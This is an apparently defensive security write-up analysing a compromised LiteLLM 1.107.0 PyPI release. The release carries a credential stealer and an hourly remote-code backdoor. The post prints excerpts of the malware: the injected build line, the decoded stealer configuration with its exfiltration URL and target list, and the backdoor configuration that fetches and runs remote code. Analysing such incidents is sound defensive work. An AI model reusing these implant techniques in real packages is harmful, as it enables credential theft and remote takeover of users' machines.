Compromised LiteLLM 1.107.0 on PyPI Installs a Credential Stealer and Backdoor

Kunal Singh5 min read

The LiteLLM 1.107.0(opens in new tab) release on PyPI carries a credential stealer and a remote code execution backdoor. All seven wheels (Linux, macOS, Windows) install them as three files in site-packages. Both run when any Python process starts on the host, even one that never imports litellm. The upstream GitHub source does not contain them.

LiteLLM confirmed the compromise in its incident report(opens in new tab), which lists remediation steps. PyPI removed the release by 13:23 UTC on 2026-10-21. The Docker images v1.107.0, latest, main-latest, and main-stable on Docker Hub and GHCR also carried the malicious code between 11:46 and 14:20 UTC.

Versions 1.106.2, 1.107.0rc1, and 1.107.0rc2 are clean. The companion packages that 1.107.0 pins, litellm-proxy-extras==0.4.110 and litellm-enterprise==0.1.78, are also clean.

What the attack does

Installing litellm==1.107.0 places three files in site-packages. Python loads two of them each time it starts.

  1. cook.pth imports cook.py, a credential stealer. It collects SSH keys, cloud credentials, CI/CD secrets, AI tool tokens, browser passwords, and the LLM provider keys in a LiteLLM proxy database. It encrypts the data and sends it to www.litellm[.]dev.
  2. sitecustomize.py starts a background daemon. Every hour, the daemon reads a server address from a GitHub file, runs the stealer again, and downloads and runs code from that server.

How the implant got into the release

The pyproject.toml in the 1.107.0 source distribution (sdist) has one extra line in the maturin build section:

pyproject.toml (litellm-1.107.0.tar.gz)
[tool.maturin]
...
python-source = "."
data = "cook"                     # <-- injected
python-packages = ["litellm_cli"] # legitimate (present upstream)

The maturin data = "cook" setting copies a cook/ folder into litellm-1.107.0.data/purelib/ in the wheel. pip installs that folder into site-packages.

The sdist leaves out the cook/ folder, so this line is the only visible change. No public commit in BerriAI/litellm(opens in new tab) contains data = "cook" or a cook/ folder.

The wheel RECORD lists the three added files:

litellm-1.107.0.dist-info/RECORD
litellm-1.107.0.data/purelib/cook.pth           12 bytes   "import cook"
litellm-1.107.0.data/purelib/cook.py         22252 bytes   exec(zlib.decompress(b64decode(...)))
litellm-1.107.0.data/purelib/sitecustomize.py 25509 bytes  loader/backdoor + embedded stealer

How the attacker published it

LiteLLM’s incident report(opens in new tab) says the attacker held the GitHub CLI credentials of three developers. LiteLLM believes the attacker took them from the logs of an internal LiteLLM deployment exposed to the internet. With an organization owner’s token, the attacker bypassed branch protection and pointed the private release workflow at a lookalike repository, Berri-AI/litellm. The attacker then passed the approval gate with a second developer’s credential, and the official pipeline built, signed, and published the artifacts.

Payload 1: the credential stealer in cook.py

At startup, Python runs each line that starts with import in a .pth file in site-packages. cook.pth contains import cook, so the stealer runs in every Python process on the host: the application, pip, IDE language servers, and CI jobs.

cook.py wraps about 61 KB of Python in one layer of exec(zlib.decompress(base64.b64decode('...'))). The decoded code starts with this configuration:

cook.py (decoded)
PC_URL       = 'http://www.litellm.dev/healthcheck'
PC_TOKEN     = 'XWiA8gZNa7NcX2XRoAEb'          # sent as X-Token header
PC_PUBKEY    = '-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxRBQMVXDXVskKS47haU ...'  # RSA-4096
PC_ONCE_PATH = '/tmp/.pc_once_72129118c59f5636c0bb'
PC_ASYNC     = True                              # runs in a daemon thread
PC_MODULES   = ['sysinfo','netinfo','browser_pw','browser_hist','ssh_keys',
                'shell_hist','cloud_creds','dev_secrets','container_creds',
                'cicd_secrets','ai_devtools','env_vars','db_litellm',
                'cloud_metadata','gpg_keys','tls_privkey']

What it collects

How it sends the data

  1. It encrypts the JSON results with a random AES-256-CBC key, and encrypts that key with RSA-OAEP and the embedded public key.
  2. It packs the result into a tar.gz (hdr.json, data.bin, key.bin) and sends it in a POST request to www.litellm[.]dev/healthcheck with the header X-Token: XWiA8gZNa7NcX2XRoAEb.
  3. After a successful upload, it writes /tmp/.pc_once_72129118c59f5636c0bb so it collects only once per host. It also sets PRIVCOLLECT_ACTIVE=1 to avoid a second run in the same process tree.

Payload 2: the backdoor in sitecustomize.py

Python imports sitecustomize at startup, so this file also runs in every Python process.

sitecustomize.py
GITHUB_RAW_URL = "https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt"
CODE_PATH      = "/codepy"
LOOP_INTERVAL  = 3600
LOCK_FILE      = "/tmp/remote_code_loader.lock"
  1. It takes an exclusive lock on /tmp/remote_code_loader.lock, so only one daemon runs per host.
  2. It calls fork() and setsid(), sends standard input and output to /dev/null, and changes directory to / to detach from the parent process.
  3. Every hour, it:
    1. reads domain.txt from the attacker’s GitHub repository and takes the first line that looks like a domain,
    2. runs its embedded copy of the stealer, which has no once-per-host marker,
    3. downloads http://<domain>/codepy and runs it with exec().

The attacker can point the daemon at a new server by editing domain.txt. Each infected host runs whatever that server returns as codepy.

At 13:40 UTC, the GitHub account letters9813 and its repository returned 404, about two hours after the release. The backdoor now finds no server address and does nothing. Hosts that ran the daemon before the deletion could have received and run second-stage code. SafeDep could not recover the server address.

Timeline

All times are UTC on 2026-10-21, from LiteLLM’s report unless noted.

Indicators of compromise

Network

Host

Container images

LiteLLM’s report lists this digest for berriai/litellm on Docker Hub and ghcr.io/berriai/litellm.

File hashes (SHA-256)

The planted files have different hashes on Windows because of the CRLF line endings:

  • pypi
  • python
  • malware
  • supply-chain
  • litellm

Author

Kunal Singh

Kunal Singh

safedep.io

Share

Ship Code.Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.